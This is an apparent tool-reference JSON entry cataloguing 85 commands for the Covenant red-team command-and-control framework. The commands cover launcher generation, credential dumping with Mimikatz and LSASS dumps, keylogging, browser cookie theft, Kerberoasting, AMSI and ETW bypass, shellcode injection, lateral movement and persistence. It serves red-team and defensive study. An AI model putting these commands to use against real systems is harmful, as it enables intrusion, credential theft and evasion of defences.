{"tool":"covenant","name":"Covenant","description":"A collaborative .NET command-and-control framework with a web interface, built for red teams emulating adversaries.","tags":["C2","red team",".NET"],"homepage":"https://github.com/cobbr/Covenant","docs":"https://github.com/cobbr/Covenant/wiki","install":{"docker":"git clone --recurse-submodules https://github.com/cobbr/Covenant && cd Covenant/Covenant && docker build -t covenant . && docker run -it -p 7443:7443 -p 80:80 -p 443:443 covenant"},"related":["sliver","metasploit"],"total_commands":85,"commands":[{"id":1,"category":"Server Startup","command":"git clone --recurse-submodules https://github.com/cobbr/Covenant","example":"git clone --recurse-submodules https://github.com/cobbr/Covenant","explanation":"Clones the Covenant repository including all necessary submodules"},{"id":2,"category":"Server Startup","command":"dotnet build","example":"dotnet build","explanation":"Compiles the Covenant solution using the .NET SDK"},{"id":3,"category":"Server Startup","command":"dotnet run --project Covenant","example":"dotnet run --project Covenant","explanation":"Starts the Covenant C2 server and web interface"},{"id":4,"category":"Server Startup","command":"docker-compose up -d","example":"docker-compose up -d","explanation":"Starts Covenant using the Docker containerized workflow"},{"id":5,"category":"Web Interface","command":"Navigate to https://127.0.0.1:7443","example":"Browser > https://127.0.0.1:7443","explanation":"Accesses the administrative dashboard to register the initial user"},{"id":6,"category":"Listener Management","command":"Create HTTP Listener","example":"Listeners > Create > HTTP > BindPort 80","explanation":"Configures a standard HTTP listener for Grunt callbacks"},{"id":7,"category":"Listener Management","command":"Create HTTPS Listener","example":"Listeners > Create > HTTP > UseSSL True > Certificate","explanation":"Configures an encrypted HTTPS listener with a valid SSL certificate"},{"id":8,"category":"Profile Management","command":"Create Custom Profile","example":"Profiles > Create > HttpProfile > Define Headers","explanation":"Defines custom network traffic indicators to blend in with legitimate traffic"},{"id":9,"category":"Launcher Generation","command":"Generate PowerShell Launcher","example":"Launchers > PowerShell > Generate","explanation":"Creates a one-liner PowerShell command to execute the Grunt stager"},{"id":10,"category":"Launcher Generation","command":"Generate Binary Launcher","example":"Launchers > Binary > Generate > Grunt.exe","explanation":"Compiles a customized executable artifact to launch the Grunt"},{"id":11,"category":"Launcher Generation","command":"Generate MSBuild Launcher","example":"Launchers > MSBuild > Generate > Grunt.xml","explanation":"Creates an XML project file executable via the MSBuild utility"},{"id":12,"category":"Launcher Generation","command":"Generate HTML Application (HTA)","example":"Launchers > HTA > Generate > evil.hta","explanation":"Creates an HTML Application file for client-side execution vectors"},{"id":13,"category":"Grunt Session Interaction","command":"Interact","example":"Interact <GruntName>","explanation":"Opens the console session for a specific active Grunt"},{"id":14,"category":"Grunt Session Interaction","command":"Task Info","example":"Info","explanation":"Displays detailed metadata about the current Grunt session"},{"id":15,"category":"Grunt Session Interaction","command":"SetDelay","example":"SetDelay 10","explanation":"Changes the sleep interval between callbacks to 10 seconds"},{"id":16,"category":"Grunt Session Interaction","command":"SetJitter","example":"SetJitter 15","explanation":"Adds a percentage of randomization to the callback interval"},{"id":17,"category":"Grunt Session Interaction","command":"Kill","example":"Kill","explanation":"Terminates the Grunt process on the remote host"},{"id":18,"category":"Tasking","command":"ShellCmd","example":"ShellCmd /c whoami","explanation":"Executes a basic command prompt command on the target"},{"id":19,"category":"Tasking","command":"PowerShell","example":"PowerShell Get-Date","explanation":"Executes a PowerShell script block or command"},{"id":20,"category":"File System","command":"ListDirectory","example":"ListDirectory C:\\Users\\","explanation":"Lists the contents of the specified directory"},{"id":21,"category":"File System","command":"ChangeDirectory","example":"ChangeDirectory C:\\Temp","explanation":"Changes the current working directory of the Grunt process"},{"id":22,"category":"File System","command":"GetCurrentDirectory","example":"GetCurrentDirectory","explanation":"Prints the current working directory path"},{"id":23,"category":"File System","command":"Download","example":"Download C:\\Secrets\\file.txt","explanation":"Downloads a file from the target machine to the Covenant server"},{"id":24,"category":"File System","command":"Upload","example":"Upload /local/path/tool.exe C:\\Temp\\tool.exe","explanation":"Uploads a file from the Covenant server to the target machine"},{"id":25,"category":"Process Operations","command":"GetProcess","example":"GetProcess","explanation":"Enumerates all running processes on the target system"},{"id":26,"category":"Process Operations","command":"KillProcess","example":"KillProcess 1234","explanation":"Terminates a specific process by its Process ID (PID)"},{"id":27,"category":"Process Operations","command":"CreateProcess","example":"CreateProcess cmd.exe","explanation":"Spawns a new process on the target system"},{"id":28,"category":"Registry Operations","command":"RegistryRead","example":"RegistryRead HKEY_CURRENT_USER\\Software\\Test KeyName","explanation":"Reads a value from the Windows Registry"},{"id":29,"category":"Network Enumeration","command":"GetNetLocalGroup","example":"GetNetLocalGroup Administrators","explanation":"Enumerates members of a local group using .NET"},{"id":30,"category":"Network Enumeration","command":"GetNetDomainUser","example":"GetNetDomainUser","explanation":"Enumerates user accounts in the current domain"},{"id":31,"category":"Network Enumeration","command":"GetNetDomainController","example":"GetNetDomainController","explanation":"Identifies the domain controllers for the current domain"},{"id":32,"category":"Network Enumeration","command":"GetNetComputer","example":"GetNetComputer -Ping","explanation":"Enumerates computers in the domain and checks reachability"},{"id":33,"category":"Network Enumeration","command":"GetNetShare","example":"GetNetShare computername","explanation":"Lists network shares available on a specific computer"},{"id":34,"category":"Network Enumeration","command":"ArpScan","example":"ArpScan 192.168.1.0/24","explanation":"Performs an ARP scan to identify live hosts on the local subnet"},{"id":35,"category":"Network Enumeration","command":"PortScan","example":"PortScan 192.168.1.10 1-1024","explanation":"Performs a TCP connect scan on the specified target and ports"},{"id":36,"category":"Host Enumeration","command":"Seatbelt","example":"Seatbelt -group=system","explanation":"Runs the Seatbelt safety check tool to enumerate system security settings"},{"id":37,"category":"Host Enumeration","command":"Seatbelt User","example":"Seatbelt -group=user","explanation":"Runs Seatbelt checks specifically related to the current user context"},{"id":38,"category":"Host Enumeration","command":"WhoAmI","example":"WhoAmI /all","explanation":"Displays extensive information about the current user and privileges"},{"id":39,"category":"Keylogging","command":"Keylogger","example":"Keylogger start","explanation":"Starts the keylogging module to capture keystrokes"},{"id":40,"category":"Screen Capture","command":"Screenshot","example":"Screenshot","explanation":"Captures a screenshot of the current user's desktop"},{"id":41,"category":"Credential Access","command":"SafetyKatz","example":"SafetyKatz","explanation":"Safely executes Mimikatz logic to dump LSASS credentials"},{"id":42,"category":"Credential Access","command":"DumpLsass","example":"DumpLsass","explanation":"Creates a minidump of the LSASS process for offline analysis"},{"id":43,"category":"Credential Access","command":"SamDump","example":"SamDump","explanation":"Dumps the Security Account Manager (SAM) database hashes"},{"id":44,"category":"Token Manipulation","command":"GetSystem","example":"GetSystem","explanation":"Attempts to elevate privileges to SYSTEM using various techniques"},{"id":45,"category":"Token Manipulation","command":"ImpersonateUser","example":"ImpersonateUser","explanation":"Enumerates and impersonates available tokens to escalate privileges"},{"id":46,"category":"Token Manipulation","command":"MakeToken","example":"MakeToken DOMAIN\\User Password","explanation":"Creates a new token with specified credentials for network authentication"},{"id":47,"category":"Token Manipulation","command":"RevertToSelf","example":"RevertToSelf","explanation":"Reverts the current thread impersonation back to the original process token"},{"id":48,"category":"Kerberos","command":"Rubeus","example":"Rubeus triage","explanation":"Interacts with Kerberos tickets using the Rubeus assembly"},{"id":49,"category":"Kerberos","command":"Kerberoast","example":"Rubeus kerberoast","explanation":"Attempts to roast service tickets to recover plaintext passwords"},{"id":50,"category":"Kerberos","command":"ASREPRoast","example":"Rubeus asreproast","explanation":"Attacks users without Kerberos pre-authentication enabled"},{"id":51,"category":"Lateral Movement","command":"WMI","example":"WMI computername command","explanation":"Executes a command on a remote system via Windows Management Instrumentation"},{"id":52,"category":"Lateral Movement","command":"SharpWMI","example":"SharpWMI action=exec computername=TARGET command=cmd.exe","explanation":"Uses C# implementation of WMI for stealthier lateral movement"},{"id":53,"category":"Lateral Movement","command":"SharpSsh","example":"SharpSsh username password target command","explanation":"Executes commands over SSH using a .NET implementation"},{"id":54,"category":"Lateral Movement","command":"PowerShellRemoting","example":"Invoke-Command -ComputerName TARGET -ScriptBlock { ... }","explanation":"Uses native PowerShell Remoting (WinRM) for lateral movement"},{"id":55,"category":"Pivoting","command":"Connect","example":"Connect 192.168.1.50 445","explanation":"Connects to a peer-to-peer SMB Grunt for internal pivoting"},{"id":56,"category":"Pivoting","command":"Link","example":"Link TARGET_IP PIPE_NAME","explanation":"Links to a named pipe listener on a remote host"},{"id":57,"category":"Assembly Execution","command":"Assembly","example":"Assembly /path/to/Assembly.exe args","explanation":"Loads and executes a .NET assembly in memory without dropping to disk"},{"id":58,"category":"Assembly Execution","command":"InlineAssembly","example":"InlineAssembly /path/to/Assembly.exe","explanation":"Executes an assembly within the same AppDomain as the Grunt"},{"id":59,"category":"OPSEC & Evasion","command":"BlockDLLs","example":"BlockDLLs True","explanation":"Enables process mitigation policy to block non-Microsoft signed DLLs"},{"id":60,"category":"OPSEC & Evasion","command":"AMSIBypass","example":"AMSIBypass","explanation":"Patches memory to disable the Antimalware Scan Interface"},{"id":61,"category":"OPSEC & Evasion","command":"ETWBypass","example":"ETWBypass","explanation":"Patches memory to disable Event Tracing for Windows logging"},{"id":62,"category":"Persistence","command":"Persist-Registry","example":"Persist-Registry KeyName payload","explanation":"Establishes persistence via a Registry Run key"},{"id":63,"category":"Persistence","command":"Persist-ScheduledTask","example":"Persist-ScheduledTask TaskName payload","explanation":"Creates a scheduled task to execute the Grunt payload"},{"id":64,"category":"Persistence","command":"Persist-WMI","example":"Persist-WMI EventName payload","explanation":"Creates a WMI event subscription for persistence"},{"id":65,"category":"Management","command":"Jobs","example":"Jobs","explanation":"Lists currently running background jobs on the Grunt"},{"id":66,"category":"Management","command":"KillJob","example":"KillJob JobID","explanation":"Terminates a specific background job"},{"id":67,"category":"Database Recon","command":"SharpSQL","example":"SharpSQL query instance","explanation":"Executes SQL queries against MSSQL instances"},{"id":68,"category":"Web Recon","command":"SharpChrome","example":"SharpChrome cookies","explanation":"Extracts cookies and saved data from Google Chrome"},{"id":69,"category":"Web Recon","command":"SharpChromium","example":"SharpChromium local","explanation":"Extracts data from Chromium-based browsers like Edge"},{"id":70,"category":"Cleanup","command":"Rm","example":"Rm C:\\Temp\\artifact.exe","explanation":"Deletes a file from the target filesystem"},{"id":71,"category":"Cleanup","command":"Remote Task Kill","example":"Kill","explanation":"Removes the Grunt process to stop beaconing"},{"id":72,"category":"Graph View","command":"Graph View","example":"Dashboard > Graph","explanation":"Visualizes the relationship between listeners and Grunts"},{"id":73,"category":"Data Management","command":"Credentials Tab","example":"Data > Credentials","explanation":"View and manage captured credentials and hashes"},{"id":74,"category":"Data Management","command":"Downloads Tab","example":"Data > Downloads","explanation":"Access files exfiltrated from target systems"},{"id":75,"category":"Advanced","command":"Shellcode","example":"Shellcode /path/to/shellcode.bin","explanation":"Injects and executes raw shellcode into the Grunt process"},{"id":76,"category":"Advanced","command":"Inject","example":"Inject PID /path/to/shellcode.bin","explanation":"Injects shellcode into a remote process"},{"id":77,"category":"Advanced","command":"Mimikatz","example":"Mimikatz \"sekurlsa::logonpasswords\"","explanation":"Executes custom Mimikatz commands directly"},{"id":78,"category":"Advanced","command":"SharpUp","example":"SharpUp audit","explanation":"Checks for common local privilege escalation misconfigurations"},{"id":79,"category":"Advanced","command":"SharpDump","example":"SharpDump PID","explanation":"Creates a memory dump of a specific process using C#"},{"id":80,"category":"Advanced","command":"SharpRDP","example":"SharpRDP target=IP command=CMD","explanation":"Executes commands over RDP without GUI interaction"},{"id":81,"category":"Advanced","command":"StandBy","example":"StandBy","explanation":"Places the Grunt into a low-activity standby mode"},{"id":82,"category":"Users","command":"User Management","example":"Users > Create","explanation":"Adds new operators to the Covenant server for collaboration"},{"id":83,"category":"Themes","command":"Theme Configuration","example":"Settings > Theme","explanation":"Customizes the visual appearance of the Covenant console"},{"id":84,"category":"Validation","command":"Event Log","example":"Reporting > Events","explanation":"Reviews the audit log of all actions taken by operators"},{"id":85,"category":"Validation","command":"Export Data","example":"Data > Export","explanation":"Exports campaign data for reporting and analysis"}],"slug":"covenant","category":"exploitation","url":"https://terminal.rokibulroni.com/tool/exploitation/covenant","markdown":"https://terminal.rokibulroni.com/api/v1/tools/exploitation/covenant.md"}